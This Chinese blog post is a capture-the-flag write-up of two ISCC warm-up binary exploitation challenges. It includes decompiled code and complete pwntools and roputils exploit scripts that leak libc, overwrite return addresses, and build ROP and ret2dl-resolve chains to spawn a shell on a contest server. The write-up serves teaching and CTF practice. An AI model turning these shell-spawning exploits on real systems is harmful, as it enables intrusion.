menu EDS
isclab pwn
1515 浏览 | 2020-04-30 | 分类:pwn | 标签:

isclab pwn

iscc的预热靶场,题目不错,挺好玩的,记录下自己的解题过程。

pwn1

题目给定ELF文件一个。

  1. ida静态分析

main()函数在清空输入输出流后会让你输入很长的字符串,但是其栈空间足够大,无法溢出。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s; // [rsp+0h] [rbp-110h]
  unsigned __int64 v5; // [rsp+108h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  memset(&s, 0, 0x100uLL);
  printf("input your name \nname:", 0LL);
  read(0, &s, 0x100uLL);
  while ( sub_B35() )
    ;
  return 0LL;
}

在输入后会循环执行sub_B35()函数,函数内以数组的形式向栈内先读取一个int型然后在相同地址写入一个char型(一个byte),可以执行40次,数组没有大小限制,可以向栈后任何一个地址进行读取写入操作。

  1. 动态调试

经过计算,rbp为第336位,ret地址为第342位,__libc_start_main()函数地址为第632位。

首先泄露libc基址和版本,脚本如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

def leak(s):
    r.recvuntil('index')
    r.sendline(str(s))
    r.recvuntil('value(hex) ')
    for i in range(4):
        num = r.recv(2)
        if num != 'ff':
            nums = int(num,16)
            break
    r.sendline(str(nums))

    return num


local = 1
if local == 1:
    r=process('./pwn1')
    gdb.attach(r,'b * $rebase(0xC9b)')
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('39.105.189.183',7005)
    #libc = ELF('./libc.so.6')

elf = ELF('./pwn1')
libc = ELF('./libc-2.23.so')
r.recvuntil('name:')

r.sendline('a')


lsmr = ''
for i in range(6):
    lsmr += leak(637-i)
lsmr = int('0x'+lsmr,16)
print hex(lsmr)
lbase = lsmr - 0x020830

r.interactive()

获取到libc基址和版本后,修改ret地址为one_gadget。本地getshell,脚本如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

def leak(s):
    r.recvuntil('index')
    r.sendline(str(s))
    r.recvuntil('value(hex) ')
    for i in range(4):
        num = r.recv(2)
        if num != 'ff':
            nums = int(num,16)
            break
    r.sendline(str(nums))

    return num

def edit(s,num):
    r.recvuntil('index')
    r.sendline(str(s))
    r.recvuntil('value(hex) ')

    r.sendline(str(num))

    return 0


local = 1
if local == 1:
    r=process('./pwn1')
    gdb.attach(r,'b * $rebase(0xC9b)')
else:
    r=remote('39.105.189.183',7005)

elf = ELF('./pwn1')
libc = ELF('./libc-2.23.so')
r.recvuntil('name:')

r.sendline('a')



lsmr = ''
for i in range(6):
    lsmr += leak(637-i)
lsmr = int('0x'+lsmr,16)
print hex(lsmr)
lbase = lsmr - 0x020830
ogg = lbase + 0xf1147

for i in range(6):
    s = 344+i
    num = (ogg >> (8 * i)) & 0xff
    edit(s,num)
    
    
for i in range(24):#消磨掉剩下的修改交互机会
    leak(1)
    print i
    
r.sendline('no')

r.interactive()

但是远程使用的pwn_deploy_chroot,不让你通过one_gadget获取shell,只能去构造rop链执行system('/bin/sh')来获取flag。

do you want continue(yes/no)? 
Because I change /bin/sh,so if you use one_gadget or other technique to get shell locally, please add issue on github: 
https://github.com/giantbranch/pwn_deploy_chroot

[*] Got EOF while reading in interactive

脚本如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

def leak(s):
    r.recvuntil('index')
    r.sendline(str(s))
    r.recvuntil('value(hex) ')
    for i in range(4):
        num = r.recv(2)
        if num != 'ff':
            nums = int(num,16)
            break
    r.sendline(str(nums))

    return num

def edit(s,num):
    r.recvuntil('index')
    r.sendline(str(s))
    r.recvuntil('value(hex) ')

    r.sendline(str(num))

    return 0


local = 1
if local == 1:
    r=process('./pwn1')
    gdb.attach(r,'b * $rebase(0xC9b)')
else:
    r=remote('39.105.189.183',7005)

elf = ELF('./pwn1')
libc = ELF('./libc-2.23.so')
r.recvuntil('name:')

r.sendline('a')



lsmr = ''
for i in range(6):
    lsmr += leak(637-i)
lsmr = int('0x'+lsmr,16)
print hex(lsmr)
lbase = lsmr - 0x020830
ogg = lbase + 0xf1147
system = lbase + libc.symbols['system']
binsh = lbase + libc.search('/bin/sh').next()

pie = ''
for i in range(6):
    pie += leak(349-i)
pie = int('0x'+pie,16)
print hex(pie)

edit(344,3)
r.recvuntil('index')
r.sendline('345')
r.recvuntil('value(hex) ')
for i in range(4):
    num = r.recv(2)
    if num != 'ff':
        nums = int(num,16)
        break
r.sendline(str(nums+2))

for i in range(6):
    s = 344+8+i
    num = (binsh >> (8 * i)) & 0xff
    edit(s,num)

for i in range(6):
    s = 344+16+i
    num = (system >> (8 * i)) & 0xff
    edit(s,num)


for i in range(15):
    leak(1)
    print i

r.sendline('no')

r.interactive()

pwn2

题目提供ELF文件一个,利用ida分析只有read()函数一个,计算偏移为44,利用ret2dl脚本一把梭,脚本如下。

from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
from pwn import remote


r = process('./pwn2')
context.log_level = 'debug'
#r.recv()
r = remote('39.105.189.183',7004)


rop = ROP('./pwn2')
offset = 44
bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

未完待续

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!